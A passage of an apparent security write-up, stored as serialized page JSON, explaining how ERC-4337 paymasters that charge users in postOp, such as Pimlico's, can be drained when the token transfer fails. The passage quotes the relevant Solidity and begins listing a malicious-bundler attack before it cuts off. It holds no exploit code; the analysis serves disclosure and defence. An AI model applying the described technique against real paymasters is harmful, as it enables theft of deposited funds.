gasPrice;\n",{"type":23,"tag":504,"props":108282,"children":108283},{"class":5016,"line":5683},[108284,108288,108293,108297,108301],{"type":23,"tag":504,"props":108285,"children":108286},{"style":5467},[108287],{"type":29,"value":105256},{"type":23,"tag":504,"props":108289,"children":108290},{"style":5058},[108291],{"type":29,"value":108292}," postOpPreGas ",{"type":23,"tag":504,"props":108294,"children":108295},{"style":5047},[108296],{"type":29,"value":546},{"type":23,"tag":504,"props":108298,"children":108299},{"style":5030},[108300],{"type":29,"value":107089},{"type":23,"tag":504,"props":108302,"children":108303},{"style":5058},[108304],{"type":29,"value":5725},{"type":23,"tag":504,"props":108306,"children":108307},{"class":5016,"line":5696},[108308,108313,108318,108322],{"type":23,"tag":504,"props":108309,"children":108310},{"style":5067},[108311],{"type":29,"value":108312},"                    if",{"type":23,"tag":504,"props":108314,"children":108315},{"style":5058},[108316],{"type":29,"value":108317}," (mode ",{"type":23,"tag":504,"props":108319,"children":108320},{"style":5047},[108321],{"type":29,"value":17735},{"type":23,"tag":504,"props":108323,"children":108324},{"style":5058},[108325],{"type":29,"value":108326}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":504,"props":108328,"children":108329},{"class":5016,"line":5705},[108330,108335,108340],{"type":23,"tag":504,"props":108331,"children":108332},{"style":5067},[108333],{"type":29,"value":108334},"                        try",{"type":23,"tag":504,"props":108336,"children":108337},{"style":5139},[108338],{"type":29,"value":108339}," IPaymaster",{"type":23,"tag":504,"props":108341,"children":108342},{"style":5058},[108343],{"type":29,"value":108344},"(paymaster).postOp{\n",{"type":23,"tag":504,"props":108346,"children":108347},{"class":5016,"line":5728},[108348,108353,108357],{"type":23,"tag":504,"props":108349,"children":108350},{"style":5058},[108351],{"type":29,"value":108352},"                                gas",{"type":23,"tag":504,"props":108354,"children":108355},{"style":5047},[108356],{"type":29,"value":6533},{"type":23,"tag":504,"props":108358,"children":108359},{"style":5058},[108360],{"type":29,"value":108361}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":504,"props":108363,"children":108364},{"class":5016,"line":5737},[108365],{"type":23,"tag":504,"props":108366,"children":108367},{"style":5058},[108368],{"type":29,"value":108369},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":504,"props":108371,"children":108372},{"class":5016,"line":5746},[108373,108378,108383],{"type":23,"tag":504,"props":108374,"children":108375},{"style":5021},[108376],{"type":29,"value":108377},"                        // ",{"type":23,"tag":504,"props":108379,"children":108380},{"style":5030},[108381],{"type":29,"value":108382},"solhint-disable",{"type":23,"tag":504,"props":108384,"children":108385},{"style":5021},[108386],{"type":29,"value":108387},"-next-line no-empty-blocks\n",{"type":23,"tag":504,"props":108389,"children":108390},{"class":5016,"line":5813},[108391,108396,108400],{"type":23,"tag":504,"props":108392,"children":108393},{"style":5058},[108394],{"type":29,"value":108395},"                        {} ",{"type":23,"tag":504,"props":108397,"children":108398},{"style":5067},[108399],{"type":29,"value":50474},{"type":23,"tag":504,"props":108401,"children":108402},{"style":5058},[108403],{"type":29,"value":5333},{"type":23,"tag":504,"props":108405,"children":108406},{"class":5016,"line":5821},[108407,108412,108416,108421,108425,108429,108433],{"type":23,"tag":504,"props":108408,"children":108409},{"style":5467},[108410],{"type":29,"value":108411},"                            bytes",{"type":23,"tag":504,"props":108413,"children":108414},{"style":5030},[108415],{"type":29,"value":104859},{"type":23,"tag":504,"props":108417,"children":108418},{"style":5058},[108419],{"type":29,"value":108420}," reason ",{"type":23,"tag":504,"props":108422,"children":108423},{"style":5047},[108424],{"type":29,"value":546},{"type":23,"tag":504,"props":108426,"children":108427},{"style":5058},[108428],{"type":29,"value":107630},{"type":23,"tag":504,"props":108430,"children":108431},{"style":5139},[108432],{"type":29,"value":107721},{"type":23,"tag":504,"props":108434,"children":108435},{"style":5058},[108436],{"type":29,"value":107726},{"type":23,"tag":504,"props":108438,"children":108439},{"class":5016,"line":5851},[108440,108445,108450],{"type":23,"tag":504,"props":108441,"children":108442},{"style":5067},[108443],{"type":29,"value":108444},"                            revert",{"type":23,"tag":504,"props":108446,"children":108447},{"style":5139},[108448],{"type":29,"value":108449}," PostOpReverted",{"type":23,"tag":504,"props":108451,"children":108452},{"style":5058},[108453],{"type":29,"value":108454},"(reason);\n",{"type":23,"tag":504,"props":108456,"children":108457},{"class":5016,"line":5859},[108458],{"type":23,"tag":504,"props":108459,"children":108460},{"style":5058},[108461],{"type":29,"value":73041},{"type":23,"tag":504,"props":108463,"children":108464},{"class":5016,"line":5891},[108465],{"type":23,"tag":504,"props":108466,"children":108467},{"style":5058},[108468],{"type":29,"value":73126},{"type":23,"tag":504,"props":108470,"children":108471},{"class":5016,"line":5899},[108472],{"type":23,"tag":504,"props":108473,"children":108474},{"style":5021},[108475],{"type":29,"value":108476},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":504,"props":108478,"children":108479},{"class":5016,"line":5959},[108480,108484,108488],{"type":23,"tag":504,"props":108481,"children":108482},{"style":5021},[108483],{"type":29,"value":105321},{"type":23,"tag":504,"props":108485,"children":108486},{"style":5030},[108487],{"type":29,"value":68822},{"type":23,"tag":504,"props":108489,"children":108490},{"style":5021},[108491],{"type":29,"value":108492}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":504,"props":108494,"children":108495},{"class":5016,"line":11093},[108496,108500,108505,108509,108513,108517,108521],{"type":23,"tag":504,"props":108497,"children":108498},{"style":5467},[108499],{"type":29,"value":105256},{"type":23,"tag":504,"props":108501,"children":108502},{"style":5058},[108503],{"type":29,"value":108504}," postOpGasUsed ",{"type":23,"tag":504,"props":108506,"children":108507},{"style":5047},[108508],{"type":29,"value":546},{"type":23,"tag":504,"props":108510,"children":108511},{"style":5058},[108512],{"type":29,"value":108292},{"type":23,"tag":504,"props":108514,"children":108515},{"style":5047},[108516],{"type":29,"value":6368},{"type":23,"tag":504,"props":108518,"children":108519},{"style":5030},[108520],{"type":29,"value":107089},{"type":23,"tag":504,"props":108522,"children":108523},{"style":5058},[108524],{"type":29,"value":5725},{"type":23,"tag":504,"props":108526,"children":108527},{"class":5016,"line":11111},[108528,108533,108537,108542],{"type":23,"tag":504,"props":108529,"children":108530},{"style":5058},[108531],{"type":29,"value":108532},"                    postOpUnusedGasPenalty ",{"type":23,"tag":504,"props":108534,"children":108535},{"style":5047},[108536],{"type":29,"value":546},{"type":23,"tag":504,"props":108538,"children":108539},{"style":5139},[108540],{"type":29,"value":108541}," _getUnusedGasPenalty",{"type":23,"tag":504,"props":108543,"children":108544},{"style":5058},[108545],{"type":29,"value":108546},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":504,"props":108548,"children":108549},{"class":5016,"line":11156},[108550],{"type":23,"tag":504,"props":108551,"children":108552},{"style":5058},[108553],{"type":29,"value":73134},{"type":23,"tag":504,"props":108555,"children":108556},{"class":5016,"line":11262},[108557],{"type":23,"tag":504,"props":108558,"children":108559},{"style":5058},[108560],{"type":29,"value":60946},{"type":23,"tag":504,"props":108562,"children":108563},{"class":5016,"line":25550},[108564],{"type":23,"tag":504,"props":108565,"children":108566},{"style":5058},[108567],{"type":29,"value":106580},{"type":23,"tag":504,"props":108569,"children":108570},{"class":5016,"line":25585},[108571],{"type":23,"tag":504,"props":108572,"children":108573},{"style":5058},[108574],{"type":29,"value":5403},{"type":23,"tag":32,"props":108576,"children":108577},{},[108578,108580,108585,108587,108593,108595,108601,108603,108608,108610,108615,108617,108622,108624,108629,108631,108636,108638,108643],{"type":29,"value":108579},"It turns out that if the ",{"type":23,"tag":154,"props":108581,"children":108583},{"className":108582},[],[108584],{"type":29,"value":104160},{"type":29,"value":108586}," call fails, it will revert with ",{"type":23,"tag":154,"props":108588,"children":108590},{"className":108589},[],[108591],{"type":29,"value":108592},"PostOpReverted",{"type":29,"value":108594},". However, as we can see in the previous code of ",{"type":23,"tag":154,"props":108596,"children":108598},{"className":108597},[],[108599],{"type":29,"value":108600},"_executeUserOp",{"type":29,"value":108602},", even though ",{"type":23,"tag":154,"props":108604,"children":108606},{"className":108605},[],[108607],{"type":29,"value":107302},{"type":29,"value":108609}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":154,"props":108611,"children":108613},{"className":108612},[],[108614],{"type":29,"value":107970},{"type":29,"value":108616}," call with ",{"type":23,"tag":154,"props":108618,"children":108620},{"className":108619},[],[108621],{"type":29,"value":107978},{"type":29,"value":108623}," mode, and it won't try to call ",{"type":23,"tag":154,"props":108625,"children":108627},{"className":108626},[],[108628],{"type":29,"value":104160},{"type":29,"value":108630}," again. This means the ",{"type":23,"tag":154,"props":108632,"children":108634},{"className":108633},[],[108635],{"type":29,"value":104021},{"type":29,"value":108637}," still gets paid for submitting the failed ",{"type":23,"tag":154,"props":108639,"children":108641},{"className":108640},[],[108642],{"type":29,"value":103961},{"type":29,"value":357},{"type":23,"tag":32,"props":108645,"children":108646},{},[108647,108649,108654,108656,108661,108663,108670],{"type":29,"value":108648},"Now that we understand this behavior where ",{"type":23,"tag":154,"props":108650,"children":108652},{"className":108651},[],[108653],{"type":29,"value":104160},{"type":29,"value":108655}," is allowed to fail while the ",{"type":23,"tag":154,"props":108657,"children":108659},{"className":108658},[],[108660],{"type":29,"value":104021},{"type":29,"value":108662}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":68,"props":108664,"children":108667},{"href":108665,"rel":108666},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[72],[108668],{"type":29,"value":108669},"Pimlico",{"type":29,"value":357},{"type":23,"tag":4743,"props":108672,"children":108674},{"className":6516,"code":108673,"language":6515,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[108675],{"type":23,"tag":154,"props":108676,"children":108677},{"__ignoreMap":7},[108678,108693,108710,108730,108746,108758,108765,108772,108779,108810,108817,108842,108850,108857,108864,108893,108900,108916,108938,108945,108961,109011,109018,109034,109042,109075,109108,109116,109123,109130,109173,109180,109229,109255,109262,109269,109286],{"type":23,"tag":504,"props":108679,"children":108680},{"class":5016,"line":5017},[108681,108685,108689],{"type":23,"tag":504,"props":108682,"children":108683},{"style":5030},[108684],{"type":29,"value":91893},{"type":23,"tag":504,"props":108686,"children":108687},{"style":5139},[108688],{"type":29,"value":105562},{"type":23,"tag":504,"props":108690,"children":108691},{"style":5058},[108692],{"type":29,"value":5512},{"type":23,"tag":504,"props":108694,"children":108695},{"class":5016,"line":4868},[108696,108701,108705],{"type":23,"tag":504,"props":108697,"children":108698},{"style":5030},[108699],{"type":29,"value":108700},"        PostOpMode",{"type":23,"tag":504,"props":108702,"children":108703},{"style":5058},[108704],{"type":29,"value":4367},{"type":23,"tag":504,"props":108706,"children":108707},{"style":5021},[108708],{"type":29,"value":108709},"/* mode */\n",{"type":23,"tag":504,"props":108711,"children":108712},{"class":5016,"line":4876},[108713,108717,108721,108726],{"type":23,"tag":504,"props":108714,"children":108715},{"style":5467},[108716],{"type":29,"value":107478},{"type":23,"tag":504,"props":108718,"children":108719},{"style":5030},[108720],{"type":29,"value":104791},{"type":23,"tag":504,"props":108722,"children":108723},{"style":5041},[108724],{"type":29,"value":108725}," _context",{"type":23,"tag":504,"props":108727,"children":108728},{"style":5058},[108729],{"type":29,"value":5557},{"type":23,"tag":504,"props":108731,"children":108732},{"class":5016,"line":5099},[108733,108737,108742],{"type":23,"tag":504,"props":108734,"children":108735},{"style":5467},[108736],{"type":29,"value":92071},{"type":23,"tag":504,"props":108738,"children":108739},{"style":5041},[108740],{"type":29,"value":108741}," _actualGasCost",{"type":23,"tag":504,"props":108743,"children":108744},{"style":5058},[108745],{"type":29,"value":5557},{"type":23,"tag":504,"props":108747,"children":108748},{"class":5016,"line":5203},[108749,108753],{"type":23,"tag":504,"props":108750,"children":108751},{"style":5467},[108752],{"type":29,"value":92071},{"type":23,"tag":504,"props":108754,"children":108755},{"style":5041},[108756],{"type":29,"value":108757}," _actualUserOpFeePerGas\n",{"type":23,"tag":504,"props":108759,"children":108760},{"class":5016,"line":5308},[108761],{"type":23,"tag":504,"props":108762,"children":108763},{"style":5058},[108764],{"type":29,"value":25971},{"type":23,"tag":504,"props":108766,"children":108767},{"class":5016,"line":5336},[108768],{"type":23,"tag":504,"props":108769,"children":108770},{"style":5030},[108771],{"type":29,"value":104830},{"type":23,"tag":504,"props":108773,"children":108774},{"class":5016,"line":5349},[108775],{"type":23,"tag":504,"props":108776,"children":108777},{"style":5058},[108778],{"type":29,"value":31241},{"type":23,"tag":504,"props":108780,"children":108781},{"class":5016,"line":5367},[108782,108787,108791,108796,108800,108805],{"type":23,"tag":504,"props":108783,"children":108784},{"style":5058},[108785],{"type":29,"value":108786},"        ERC20PostOpContext ",{"type":23,"tag":504,"props":108788,"children":108789},{"style":5030},[108790],{"type":29,"value":78037},{"type":23,"tag":504,"props":108792,"children":108793},{"style":5058},[108794],{"type":29,"value":108795}," ctx ",{"type":23,"tag":504,"props":108797,"children":108798},{"style":5047},[108799],{"type":29,"value":546},{"type":23,"tag":504,"props":108801,"children":108802},{"style":5139},[108803],{"type":29,"value":108804}," _parsePostOpContext",{"type":23,"tag":504,"props":108806,"children":108807},{"style":5058},[108808],{"type":29,"value":108809},"(_context);\n",{"type":23,"tag":504,"props":108811,"children":108812},{"class":5016,"line":5388},[108813],{"type":23,"tag":504,"props":108814,"children":108815},{"emptyLinePlaceholder":15},[108816],{"type":29,"value":5734},{"type":23,"tag":504,"props":108818,"children":108819},{"class":5016,"line":5397},[108820,108824,108829,108833,108838],{"type":23,"tag":504,"props":108821,"children":108822},{"style":5467},[108823],{"type":29,"value":92071},{"type":23,"tag":504,"props":108825,"children":108826},{"style":5058},[108827],{"type":29,"value":108828}," expectedPenaltyGasCost ",{"type":23,"tag":504,"props":108830,"children":108831},{"style":5047},[108832],{"type":29,"value":546},{"type":23,"tag":504,"props":108834,"children":108835},{"style":5139},[108836],{"type":29,"value":108837}," _expectedPenaltyGasCost",{"type":23,"tag":504,"props":108839,"children":108840},{"style":5058},[108841],{"type":29,"value":5512},{"type":23,"tag":504,"props":108843,"children":108844},{"class":5016,"line":5649},[108845],{"type":23,"tag":504,"props":108846,"children":108847},{"style":5058},[108848],{"type":29,"value":108849},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":504,"props":108851,"children":108852},{"class":5016,"line":5666},[108853],{"type":23,"tag":504,"props":108854,"children":108855},{"style":5058},[108856],{"type":29,"value":9788},{"type":23,"tag":504,"props":108858,"children":108859},{"class":5016,"line":5683},[108860],{"type":23,"tag":504,"props":108861,"children":108862},{"emptyLinePlaceholder":15},[108863],{"type":29,"value":5734},{"type":23,"tag":504,"props":108865,"children":108866},{"class":5016,"line":5696},[108867,108871,108875,108879,108884,108888],{"type":23,"tag":504,"props":108868,"children":108869},{"style":5467},[108870],{"type":29,"value":92071},{"type":23,"tag":504,"props":108872,"children":108873},{"style":5058},[108874],{"type":29,"value":105886},{"type":23,"tag":504,"props":108876,"children":108877},{"style":5047},[108878],{"type":29,"value":546},{"type":23,"tag":504,"props":108880,"children":108881},{"style":5058},[108882],{"type":29,"value":108883}," _actualGasCost ",{"type":23,"tag":504,"props":108885,"children":108886},{"style":5047},[108887],{"type":29,"value":6422},{"type":23,"tag":504,"props":108889,"children":108890},{"style":5058},[108891],{"type":29,"value":108892}," expectedPenaltyGasCost;\n",{"type":23,"tag":504,"props":108894,"children":108895},{"class":5016,"line":5705},[108896],{"type":23,"tag":504,"props":108897,"children":108898},{"emptyLinePlaceholder":15},[108899],{"type":29,"value":5734},{"type":23,"tag":504,"props":108901,"children":108902},{"class":5016,"line":5728},[108903,108907,108912],{"type":23,"tag":504,"props":108904,"children":108905},{"style":5467},[108906],{"type":29,"value":92071},{"type":23,"tag":504,"props":108908,"children":108909},{"style":5058},[108910],{"type":29,"value":108911}," costInToken ",{"type":23,"tag":504,"props":108913,"children":108914},{"style":5047},[108915],{"type":29,"value":16739},{"type":23,"tag":504,"props":108917,"children":108918},{"class":5016,"line":5737},[108919,108924,108929,108933],{"type":23,"tag":504,"props":108920,"children":108921},{"style":5139},[108922],{"type":29,"value":108923},"            getCostInToken",{"type":23,"tag":504,"props":108925,"children":108926},{"style":5058},[108927],{"type":29,"value":108928},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":504,"props":108930,"children":108931},{"style":5047},[108932],{"type":29,"value":6422},{"type":23,"tag":504,"props":108934,"children":108935},{"style":5058},[108936],{"type":29,"value":108937}," ctx.constantFee;\n",{"type":23,"tag":504,"props":108939,"children":108940},{"class":5016,"line":5746},[108941],{"type":23,"tag":504,"props":108942,"children":108943},{"emptyLinePlaceholder":15},[108944],{"type":29,"value":5734},{"type":23,"tag":504,"props":108946,"children":108947},{"class":5016,"line":5813},[108948,108952,108957],{"type":23,"tag":504,"props":108949,"children":108950},{"style":5467},[108951],{"type":29,"value":92071},{"type":23,"tag":504,"props":108953,"children":108954},{"style":5058},[108955],{"type":29,"value":108956}," absoluteCostInToken ",{"type":23,"tag":504,"props":108958,"children":108959},{"style":5047},[108960],{"type":29,"value":16739},{"type":23,"tag":504,"props":108962,"children":108963},{"class":5016,"line":5821},[108964,108969,108973,108978,108982,108986,108990,108994,108998,109002,109006],{"type":23,"tag":504,"props":108965,"children":108966},{"style":5058},[108967],{"type":29,"value":108968},"            costInToken ",{"type":23,"tag":504,"props":108970,"children":108971},{"style":5047},[108972],{"type":29,"value":12508},{"type":23,"tag":504,"props":108974,"children":108975},{"style":5058},[108976],{"type":29,"value":108977}," ctx.preFundCharged ",{"type":23,"tag":504,"props":108979,"children":108980},{"style":5047},[108981],{"type":29,"value":5195},{"type":23,"tag":504,"props":108983,"children":108984},{"style":5058},[108985],{"type":29,"value":108911},{"type":23,"tag":504,"props":108987,"children":108988},{"style":5047},[108989],{"type":29,"value":6368},{"type":23,"tag":504,"props":108991,"children":108992},{"style":5058},[108993],{"type":29,"value":108977},{"type":23,"tag":504,"props":108995,"children":108996},{"style":5047},[108997],{"type":29,"value":6533},{"type":23,"tag":504,"props":108999,"children":109000},{"style":5058},[109001],{"type":29,"value":108977},{"type":23,"tag":504,"props":109003,"children":109004},{"style":5047},[109005],{"type":29,"value":6368},{"type":23,"tag":504,"props":109007,"children":109008},{"style":5058},[109009],{"type":29,"value":109010}," costInToken;\n",{"type":23,"tag":504,"props":109012,"children":109013},{"class":5016,"line":5851},[109014],{"type":23,"tag":504,"props":109015,"children":109016},{"emptyLinePlaceholder":15},[109017],{"type":29,"value":5734},{"type":23,"tag":504,"props":109019,"children":109020},{"class":5016,"line":5859},[109021,109026,109030],{"type":23,"tag":504,"props":109022,"children":109023},{"style":5058},[109024],{"type":29,"value":109025},"        SafeTransferLib.",{"type":23,"tag":504,"props":109027,"children":109028},{"style":5139},[109029],{"type":29,"value":105417},{"type":23,"tag":504,"props":109031,"children":109032},{"style":5058},[109033],{"type":29,"value":5512},{"type":23,"tag":504,"props":109035,"children":109036},{"class":5016,"line":5891},[109037],{"type":23,"tag":504,"props":109038,"children":109039},{"style":5058},[109040],{"type":29,"value":109041},"            ctx.token,\n",{"type":23,"tag":504,"props":109043,"children":109044},{"class":5016,"line":5899},[109045,109049,109053,109057,109061,109066,109070],{"type":23,"tag":504,"props":109046,"children":109047},{"style":5058},[109048],{"type":29,"value":108968},{"type":23,"tag":504,"props":109050,"children":109051},{"style":5047},[109052],{"type":29,"value":12508},{"type":23,"tag":504,"props":109054,"children":109055},{"style":5058},[109056],{"type":29,"value":108977},{"type":23,"tag":504,"props":109058,"children":109059},{"style":5047},[109060],{"type":29,"value":5195},{"type":23,"tag":504,"props":109062,"children":109063},{"style":5058},[109064],{"type":29,"value":109065}," ctx.sender ",{"type":23,"tag":504,"props":109067,"children":109068},{"style":5047},[109069],{"type":29,"value":6533},{"type":23,"tag":504,"props":109071,"children":109072},{"style":5058},[109073],{"type":29,"value":109074}," ctx.treasury,\n",{"type":23,"tag":504,"props":109076,"children":109077},{"class":5016,"line":5959},[109078,109082,109086,109090,109094,109099,109103],{"type":23,"tag":504,"props":109079,"children":109080},{"style":5058},[109081],{"type":29,"value":108968},{"type":23,"tag":504,"props":109083,"children":109084},{"style":5047},[109085],{"type":29,"value":12508},{"type":23,"tag":504,"props":109087,"children":109088},{"style":5058},[109089],{"type":29,"value":108977},{"type":23,"tag":504,"props":109091,"children":109092},{"style":5047},[109093],{"type":29,"value":5195},{"type":23,"tag":504,"props":109095,"children":109096},{"style":5058},[109097],{"type":29,"value":109098}," ctx.treasury ",{"type":23,"tag":504,"props":109100,"children":109101},{"style":5047},[109102],{"type":29,"value":6533},{"type":23,"tag":504,"props":109104,"children":109105},{"style":5058},[109106],{"type":29,"value":109107}," ctx.sender,\n",{"type":23,"tag":504,"props":109109,"children":109110},{"class":5016,"line":11093},[109111],{"type":23,"tag":504,"props":109112,"children":109113},{"style":5058},[109114],{"type":29,"value":109115},"            absoluteCostInToken\n",{"type":23,"tag":504,"props":109117,"children":109118},{"class":5016,"line":11111},[109119],{"type":23,"tag":504,"props":109120,"children":109121},{"style":5058},[109122],{"type":29,"value":9788},{"type":23,"tag":504,"props":109124,"children":109125},{"class":5016,"line":11156},[109126],{"type":23,"tag":504,"props":109127,"children":109128},{"emptyLinePlaceholder":15},[109129],{"type":29,"value":5734},{"type":23,"tag":504,"props":109131,"children":109132},{"class":5016,"line":11262},[109133,109137,109142,109146,109151,109155,109160,109164,109169],{"type":23,"tag":504,"props":109134,"children":109135},{"style":5467},[109136],{"type":29,"value":92071},{"type":23,"tag":504,"props":109138,"children":109139},{"style":5058},[109140],{"type":29,"value":109141}," preFundInToken ",{"type":23,"tag":504,"props":109143,"children":109144},{"style":5047},[109145],{"type":29,"value":546},{"type":23,"tag":504,"props":109147,"children":109148},{"style":5058},[109149],{"type":29,"value":109150}," (ctx.preFund ",{"type":23,"tag":504,"props":109152,"children":109153},{"style":5047},[109154],{"type":29,"value":6613},{"type":23,"tag":504,"props":109156,"children":109157},{"style":5058},[109158],{"type":29,"value":109159}," ctx.exchangeRate) ",{"type":23,"tag":504,"props":109161,"children":109162},{"style":5047},[109163],{"type":29,"value":6623},{"type":23,"tag":504,"props":109165,"children":109166},{"style":5083},[109167],{"type":29,"value":109168}," 1e18",{"type":23,"tag":504,"props":109170,"children":109171},{"style":5058},[109172],{"type":29,"value":5061},{"type":23,"tag":504,"props":109174,"children":109175},{"class":5016,"line":25550},[109176],{"type":23,"tag":504,"props":109177,"children":109178},{"emptyLinePlaceholder":15},[109179],{"type":29,"value":5734},{"type":23,"tag":504,"props":109181,"children":109182},{"class":5016,"line":25585},[109183,109187,109192,109196,109200,109204,109208,109212,109216,109220,109224],{"type":23,"tag":504,"props":109184,"children":109185},{"style":5067},[109186],{"type":29,"value":5314},{"type":23,"tag":504,"props":109188,"children":109189},{"style":5058},[109190],{"type":29,"value":109191}," (ctx.recipient ",{"type":23,"tag":504,"props":109193,"children":109194},{"style":5047},[109195],{"type":29,"value":17735},{"type":23,"tag":504,"props":109197,"children":109198},{"style":5467},[109199],{"type":29,"value":8295},{"type":23,"tag":504,"props":109201,"children":109202},{"style":5058},[109203],{"type":29,"value":603},{"type":23,"tag":504,"props":109205,"children":109206},{"style":5083},[109207],{"type":29,"value":708},{"type":23,"tag":504,"props":109209,"children":109210},{"style":5058},[109211],{"type":29,"value":5128},{"type":23,"tag":504,"props":109213,"children":109214},{"style":5047},[109215],{"type":29,"value":75260},{"type":23,"tag":504,"props":109217,"children":109218},{"style":5058},[109219],{"type":29,"value":109141},{"type":23,"tag":504,"props":109221,"children":109222},{"style":5047},[109223],{"type":29,"value":12508},{"type":23,"tag":504,"props":109225,"children":109226},{"style":5058},[109227],{"type":29,"value":109228}," costInToken) {\n",{"type":23,"tag":504,"props":109230,"children":109231},{"class":5016,"line":25593},[109232,109237,109241,109246,109250],{"type":23,"tag":504,"props":109233,"children":109234},{"style":5058},[109235],{"type":29,"value":109236},"            SafeTransferLib.",{"type":23,"tag":504,"props":109238,"children":109239},{"style":5139},[109240],{"type":29,"value":105417},{"type":23,"tag":504,"props":109242,"children":109243},{"style":5058},[109244],{"type":29,"value":109245},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":504,"props":109247,"children":109248},{"style":5047},[109249],{"type":29,"value":6368},{"type":23,"tag":504,"props":109251,"children":109252},{"style":5058},[109253],{"type":29,"value":109254}," costInToken);\n",{"type":23,"tag":504,"props":109256,"children":109257},{"class":5016,"line":25601},[109258],{"type":23,"tag":504,"props":109259,"children":109260},{"style":5058},[109261],{"type":29,"value":5394},{"type":23,"tag":504,"props":109263,"children":109264},{"class":5016,"line":25610},[109265],{"type":23,"tag":504,"props":109266,"children":109267},{"emptyLinePlaceholder":15},[109268],{"type":29,"value":5734},{"type":23,"tag":504,"props":109270,"children":109271},{"class":5016,"line":25652},[109272,109277,109281],{"type":23,"tag":504,"props":109273,"children":109274},{"style":5067},[109275],{"type":29,"value":109276},"        emit",{"type":23,"tag":504,"props":109278,"children":109279},{"style":5139},[109280],{"type":29,"value":106151},{"type":23,"tag":504,"props":109282,"children":109283},{"style":5058},[109284],{"type":29,"value":109285},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":504,"props":109287,"children":109288},{"class":5016,"line":25685},[109289],{"type":23,"tag":504,"props":109290,"children":109291},{"style":5058},[109292],{"type":29,"value":5403},{"type":23,"tag":32,"props":109294,"children":109295},{},[109296,109298,109303,109305,109311,109313,109319,109321,109326,109328,109333],{"type":29,"value":109297},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":154,"props":109299,"children":109301},{"className":109300},[],[109302],{"type":29,"value":105417},{"type":29,"value":109304},". Note that ",{"type":23,"tag":154,"props":109306,"children":109308},{"className":109307},[],[109309],{"type":29,"value":109310},"preFundCharged",{"type":29,"value":109312}," can be zero, as users can opt out of any ",{"type":23,"tag":154,"props":109314,"children":109316},{"className":109315},[],[109317],{"type":29,"value":109318},"preFund",{"type":29,"value":109320}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":154,"props":109322,"children":109324},{"className":109323},[],[109325],{"type":29,"value":106218},{"type":29,"value":109327}," call inside ",{"type":23,"tag":154,"props":109329,"children":109331},{"className":109330},[],[109332],{"type":29,"value":107302},{"type":29,"value":109334}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":32,"props":109336,"children":109337},{},[109338,109340,109345,109347,109353,109355,109361],{"type":29,"value":109339},"However, even when ",{"type":23,"tag":154,"props":109341,"children":109343},{"className":109342},[],[109344],{"type":29,"value":106218},{"type":29,"value":109346}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":154,"props":109348,"children":109350},{"className":109349},[],[109351],{"type":29,"value":109352},"requiredPrefund",{"type":29,"value":109354}," was taken from the paymaster's ",{"type":23,"tag":68,"props":109356,"children":109359},{"href":109357,"rel":109358},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[72],[109360],{"type":29,"value":64025},{"type":29,"value":357},{"type":23,"tag":32,"props":109363,"children":109364},{},[109365,109367,109372],{"type":29,"value":109366},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":154,"props":109368,"children":109370},{"className":109369},[],[109371],{"type":29,"value":106218},{"type":29,"value":109373}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":139,"props":109375,"children":109376},{},[109377,109395,109414,109425,109430],{"type":23,"tag":143,"props":109378,"children":109379},{},[109380,109382,109387,109389],{"type":29,"value":109381},"The bundler creates a ",{"type":23,"tag":154,"props":109383,"children":109385},{"className":109384},[],[109386],{"type":29,"value":103961},{"type":29,"value":109388}," with an intentionally high 